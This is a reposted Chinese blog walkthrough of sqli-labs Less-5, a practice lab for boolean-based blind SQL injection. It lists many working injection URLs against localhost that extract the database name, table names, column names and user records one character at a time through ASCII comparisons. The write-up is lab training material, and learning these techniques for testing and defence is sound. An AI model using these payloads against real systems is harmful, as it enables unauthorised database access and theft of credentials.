zoukankan      html  css  js  c++  java
  • Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /*
    请为原作者打个标记。出自:珍惜少年时
    */
     
    通过该关卡的学习我掌握到了
    1.如何灵活的运用mysql里的MID、ASCII、length、等函数
    2.布尔型盲注的认识
    3.哦,对了还有。程序是从0开始的,limit的时候要从0开始。{0,1}
     
    该文就是布尔型盲注
     
    盲注又分为了以下三种:
    1.布尔型盲注根据页面返回的真假来判断的即为布尔型盲注
    2.时间型盲注根据页面返回的时间来判断的即为时间型盲注
    3.报错型盲注:根据页面返回的对错来判断的即为报错型盲注
     
    FreeBuf的一篇《详解sql盲注测试高级技巧》文章:http://www.freebuf.com/articles/web/30841.html

    看下图:

    直接构造出Payload:

    http://127.0.0.1/sql/Less-5/index.php?id=-1' or 1=1 --+

    麻烦来了,没有爆出显示位

    来看看源码,由源码可以看得出来,除了一个echo "You are in ....';以外再无其他输出。故由此得出为布尔型盲注

     
    昨晚心里恐惧,觉得略该睡觉了。就睡了。继续研究!
                                   Start Action 
     
    00x1 判断出盲注的类型
    通过前面,其实已经可以判断出,当下面临的是布尔型的盲注,页面的真假。
    联合到之前的ASCII逐字解码法来注入吧。
     
    00x2 猜解数据库的名字
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
    
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
    
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
    http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
    http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常
    这里使用的是and,之前是使前面的sql语句报错才用union.我也是顿悟,才知道的。问了好多人都说脚本写脚本写。尴尬。
    如此就得到了
    第一个字符的ASCII码为115解码出来为“s”
    第二个字符的ASCII码为101解码出来为“e”
    第二个字符的ASCII码为99解码出来为“c”
    依次类推出数据库的名字为“security”
     
     00x3 猜解表明
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 
    正确
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确

    注:select下的limit是第几个表。

      substr下的是截取的表内容。

    当前库下(注入点连接的数据库)第一个表ASCII码为114  解码为r

    当前库下(注入点连接的数据库)第一个表ASCII码为101  解码为e

    当前库下(注入点连接的数据库)第一个表ASCII码为....  解码为...

    ............................................》》》推出第一个表的表明为:referer《《《.....

    一下来推第二个表的内容:

    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+ 正确
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=97--+  正确

    当前库下(注入点连接的数据库)第二个表ASCII码为117 解码为u

    当前库下(注入点连接的数据库)第二个表ASCII码为97   解码为a

    当前库下(注入点连接的数据库)第一个表ASCII码为....  解码为...

    ............................................》》》推出第二个表的表明为:uagents《《《.....
     
     完整的表数据如下:
    mysql> use security;
    Database changed
    mysql> show tables;
    +--------------------+
    | Tables_in_security |
    +--------------------+
    | emails             |
    | referers           |
    | uagents            |
    | users              |
    +--------------------+
    4 rows in set (0.00 sec)


     00x4 猜解字段

    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
    
    105的ASCII码为:i
    
    =》该字段为:id
    
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+
    
    117的ASCII码为:u
    
    =>该字段为:username
    
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1))=112--+
    
    112的ASCII码为:p
    
    =>该字段为:password

    有图可见只有三个字段,且程序是从0开始的。所以到2为止。

    当为3时就报错了。

    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>1--+

     00x5 猜解内容

    security.users下的第一个字段
    格式:httP://127.0.0.1/sql/less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表明 order by id limit 0,1),1,1)>ASCOO码--+
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+正确
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>68--+ 正确
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+ 正确
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+ 
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),3,1))=109--+
    .....................................................................................................................................
    最终解码后为:Dumb
    security.users下的第二个字段
    格式:http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表名 order by id limit 1,1),1,1))=65 --+
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+
    http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),3,1))=103--+
    .....................................................................................................................................
    最终解码后为:Angelina

                                                  #注:上面两个测试的是username,如果要猜解密码,记得改一下就可以。

     可以看一下完整的结构
     
     
     
     
    转载请注明出处:珍惜少年时博客
     
     
     
     
     
     
     
    THE END

     
     
  • 相关阅读:
    关于数据库中浮点运算、保留小数和时间计算
    几个常用的操作
    数字转换为字符串
    Dll控件出错的处理办法
    小巧的服务程序源码(转)
    DELPHI中MDI子窗口的关闭和打开
    用Delphi创建服务程序
    Delphi如何获取QQ2010聊天窗口句柄?
    拖动Form上的图片,Form一起动
    仿药易通输入单位信息后如果没有则自动加入功能
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6103505.html
Copyright © 2011-2022 走看看